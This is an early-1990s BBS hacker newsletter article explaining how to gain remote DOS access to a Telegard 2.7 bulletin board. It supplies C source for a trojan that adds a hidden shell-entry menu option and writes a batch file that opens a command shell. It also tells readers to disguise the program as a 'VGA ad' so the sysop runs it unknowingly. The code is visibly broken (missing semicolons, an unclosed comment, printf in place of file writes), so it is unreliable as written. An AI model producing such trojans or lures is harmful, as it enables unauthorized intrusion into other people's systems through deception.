314 lines
8.0 KiB
Plaintext
314 lines
8.0 KiB
Plaintext
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ Ûßßßß ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
||
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û Û Û ÛÜÜÜÜ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
||
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ Û ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
||
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÛ Û Û ÜÜÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
||
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|
||
º Vaginal and Anal Secretions Newsletter #0053 º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º Date Released : [07/05/92] Author: Right Guard º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º How To Properly And Easily Access DOS Through Telegard 2.7 º
|
||
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
|
||
|
||
|
||
How to properly and easily access DOS through Telegard 2.7
|
||
----------------------------------------------------------
|
||
|
||
Well we all know the weakest side of Telegard, don't we? The
|
||
whole menu system can be easily accessed and worked with in order
|
||
to perform simple access into Dos. If you just take a look at a
|
||
Telegard menus found in the \telegard\menus\ directory (or which-
|
||
ever directory they are located in), you will see that they are
|
||
all formed pretty easily by listing the commands used in the menu
|
||
in order. Here is the personal menu used in Telegard, I will go
|
||
about instructing you on how to modify this menu and easily access
|
||
DOS. Here is the default setting for the PERSONAL.MNU:
|
||
|
||
NOTE:
|
||
-----
|
||
*** This is exactly how it appears in Telegard 2.7 without ***
|
||
*** modification. ***
|
||
|
||
|
||
---
|
||
|
||
|
||
|
||
|
||
^4Time Left: [^3@T^4] (^0?^4=^0Help^4)@M^4Personal Data Menu ^2:^3
|
||
s10
|
||
|
||
MAIN
|
||
0
|
||
4
|
||
4
|
||
0
|
||
5
|
||
|
||
(A)ddress - Change your address
|
||
(A)ddress
|
||
A
|
||
s10
|
||
OP
|
||
1
|
||
|
||
(B)irthday - Change your date of birth
|
||
(B)irthday
|
||
B
|
||
s10
|
||
OP
|
||
2
|
||
|
||
(C)ity & State - Change your city and state
|
||
(C)ity & State
|
||
C
|
||
s10
|
||
OP
|
||
4
|
||
|
||
(D)efine Colors - Define your personal ANSI color setup
|
||
(D)efine Colors
|
||
D
|
||
s10
|
||
OP
|
||
21
|
||
|
||
(G)oodbye - Log off and hang up with optional comment to the SysOp
|
||
(G)oodbye
|
||
G
|
||
|
||
-/
|
||
goodbye
|
||
|
||
(/G)oodbye - Log off and hang up immediately
|
||
(/G)oodbye
|
||
/G
|
||
s20
|
||
HI
|
||
|
||
|
||
(M)ailbox Status - Set mailbox open/closed, or forward your mail
|
||
(M)ailbox Status
|
||
M
|
||
s10
|
||
OP
|
||
15
|
||
|
||
(P)hone Number - Change your telephone number
|
||
(P)hone Number
|
||
P
|
||
s10
|
||
OP
|
||
8
|
||
|
||
(Q)uit to Main - Return to the main menu
|
||
(Q)uit to Main
|
||
Q
|
||
|
||
-\
|
||
main
|
||
|
||
(S)creen Size - Change the number of rows & columns on your screen
|
||
(S)creen Size
|
||
S
|
||
s10
|
||
OP
|
||
11
|
||
|
||
(T)ype of Computer - Change your computer type
|
||
(T)ype of Computer
|
||
T
|
||
s10
|
||
OP
|
||
5
|
||
|
||
(W)rite Macros - Write user-defined macros for online use
|
||
(W)rite Macros
|
||
W
|
||
s20
|
||
OM
|
||
|
||
|
||
(X)pert Toggle - Toggle between novice and expert menus
|
||
(X)pert Toggle
|
||
X
|
||
s10
|
||
OP
|
||
22
|
||
|
||
(Z)ip Code - Change your postal zip code
|
||
(Z)ip Code
|
||
Z
|
||
s10
|
||
OP
|
||
14
|
||
|
||
($)Password - Change your logon password
|
||
($)Password
|
||
$
|
||
s10
|
||
OP
|
||
9
|
||
|
||
(1)Set Video Type - Select ANSI, AVATAR, or TTY (plain) video output
|
||
(1)Set Video Type
|
||
1
|
||
s10
|
||
OP
|
||
16
|
||
|
||
(2)Toggle Color - Toggle color on/off (does *NOT* affect ANSI setting)
|
||
(2)Toggle Color
|
||
2
|
||
s10
|
||
OP
|
||
17
|
||
|
||
(3)Toggle Pause - Toggle pause after full screen on/off
|
||
(3)Toggle Pause
|
||
3
|
||
s10
|
||
OP
|
||
18
|
||
|
||
(4)Toggle Input - Toggle between full line and one-key input
|
||
(4)Toggle Input
|
||
4
|
||
s10
|
||
OP
|
||
19
|
||
|
||
(5)Toggle Clear - Toggle screen clear before displaying message on/off
|
||
(5)Toggle Clear
|
||
5
|
||
s10
|
||
OP
|
||
20
|
||
|
||
(6)AVATAR Adjust - Toggle AVATAR color adjustment on/off
|
||
(6)AVATAR Adjust
|
||
6
|
||
s10
|
||
OP
|
||
25
|
||
|
||
(*)SysOp Menu - Go to the SysOp menu
|
||
(*)SysOp Menu
|
||
*
|
||
s200
|
||
-/
|
||
sysop
|
||
|
||
Our main objective regarding this file is accessing it, modify-
|
||
ing it, and then accessing DOS remotely. I have constructed in C++
|
||
a program or utility to do so. I will explain the source as we go
|
||
along:
|
||
|
||
/* Compiler Directives */
|
||
|
||
#include<stdlib.h>
|
||
#include<stdio.h>
|
||
|
||
main ()
|
||
{
|
||
/* Define Files */
|
||
|
||
FILE *per_mnu
|
||
FILE *run_me
|
||
|
||
/* Open File (PERSONAL.MNU) */
|
||
|
||
per_mnu = fopen( "c:\telegard\menus\personal.mnu", "a" );
|
||
|
||
/* If the file isn't found abort */
|
||
|
||
if ( NULL == per_mnu ) abort()
|
||
|
||
/* Write to the file if it exists */
|
||
|
||
printf("[/E]nter DOS");
|
||
printf("[/E]nter DOS");
|
||
printf("/E");
|
||
printf("s10");
|
||
printf("-$");
|
||
printf("SYSOP;PW?:;No, the PW is SYSOP!");
|
||
printf("H");
|
||
printf("");
|
||
printf("[/E]nter DOS");
|
||
printf("[/E]nter DOS");
|
||
printf("/E");
|
||
printf("s10");
|
||
printf("D-");
|
||
printf("c:\telegard\runme.bat");
|
||
printf("H");
|
||
|
||
/* Closes file (PERSONAL.MNU)
|
||
|
||
fclose( per_mnu );
|
||
|
||
/* In order to access do you need to have a file that does
|
||
the same as REMOTE.BAT. Since we are not sure if the sys-
|
||
op has deleted the REMOTE.BAT file for security reasons we
|
||
must create one which does the same thing as the REMOTE.BAT
|
||
file.
|
||
*/
|
||
|
||
/* Open File (RUNME.BAT) */
|
||
|
||
run_me = fopen( "c:\telegard\runme.bat", "w");
|
||
|
||
/* Write to RUNME.BAT */
|
||
|
||
printf("prompt $t$_$p$g$");
|
||
printf("command");
|
||
printf("ctty con");
|
||
printf("c:");
|
||
printf("cd\");
|
||
printf("cd\telegard\");
|
||
printf("exit");
|
||
|
||
/* Close file (RUNME.BAT) */
|
||
|
||
fclose( run_me );
|
||
|
||
This program writes to the bottom of PERSONAL.MNU and lets
|
||
anyone with access higher than 10 access the lame sysops DOS.
|
||
You can compile this in Borland C++ and rename the exe to some-
|
||
thing like VGA_ADD.EXE and tell the sysop that you made a really
|
||
cool VGA add for his board and he should check it out at once.
|
||
He will run it, nothing will happen, and he will E-Mail you back
|
||
telling you that your add didn't work and that you should re-pro-
|
||
gram it... You call at 3 AM in the morning or even at 10 PM (if
|
||
thats passed the idiotic sysops bedtime <VBG>) and access DOS and
|
||
do whatever you want. Well I hope this article somewhat scares
|
||
Telegard sysops and teaches them to have more security. If you
|
||
run Telegard 2.7 and would still like to keep it, I suggest you
|
||
rename your MENUS directory to something that no one could guess.
|
||
The only catch to this C++ program is that you must know what dir-
|
||
ectory the sysop has his menus in. It should not be to hard to
|
||
figure out.
|
||
|
||
One way to figure out where the sysops menu files are stored is
|
||
by saying at the File Menu "!". Usually that is file area stats and
|
||
it will usually tell you what directory the files in that area are
|
||
stored. It might be something like c:\tg\utilfile\. You can conclude
|
||
from that, that the menus are probably are in c:\tg\menus\ directory.
|
||
Once you know the directory the menus are in you modify it in the C++
|
||
program supplied and compile it. You should have no errors in the
|
||
compilation of the C program. Well I hope I helped someone out there
|
||
with Telegard, whether it be warning a SysOp or whatever. Watch out
|
||
Telegard can be deadly!!
|
||
|
||
|
||
ÄÄÄÍÍÍÍÍ[ VaS DiSTRiBuTioN SiTeS ]ÍÍÍÍÍÄÄÄ
|
||
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
º BBS Name Number Baud Sysop Title º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º LiVe WiRE BBS (313)464-1470 14.4 Studmuffin World HQ º
|
||
º PoT BBS (313)462-1906 24oo Phreak_Accident World HQ º
|
||
º TcH BBS (713)373-4031 14.4 One Meg Cacher Dist. #1 º
|
||
º Floating Pancreas (305)551-0311 14.4 Majestic Cockster Dist. #2 º
|
||
º Midian BBS (703)790-8048 14.4 The Raging Golemn Dist. #3 º
|
||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|